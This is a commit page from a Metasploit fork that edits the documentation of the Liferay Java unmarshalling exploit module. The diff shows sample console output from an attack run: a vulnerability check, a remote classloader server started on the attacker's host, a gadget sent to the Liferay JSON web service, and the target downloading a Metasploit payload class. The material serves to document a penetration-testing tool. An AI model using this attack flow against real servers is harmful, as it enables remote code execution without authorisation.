adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Be more verbose and validate classloader server

Browse Source
This commit is contained in:
William Vu
2020-04-13 15:18:02 -05:00
parent 06f54765c3
commit 9b59a8e194
2 changed files with 9 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md
+2 -1
View File
@@ -65,7 +65,8 @@ msf5 exploit(multi/http/liferay_java_unmarshalling) > run
[+] The target appears to be vulnerable. Liferay 7.2.0 CE GA1 MAY be a vulnerable version. Please verify.
[*] Using URL: http://0.0.0.0:8888/
[*] Local IP: http://192.168.1.3:8888/
[*] Sending go-go-gadget for remote classloading
[+] Started remote classloader server at http://192.168.1.3:8888/
[*] Unmarshalling remote classloader at http://127.0.0.1:8080/api/jsonws/expandocolumn/update-column
[*] GET /Uphxohekruuokpedknflsriuafhrdsfk.class requested
[+] Sending constructor class
[*] GET /metasploit/Payload.class requested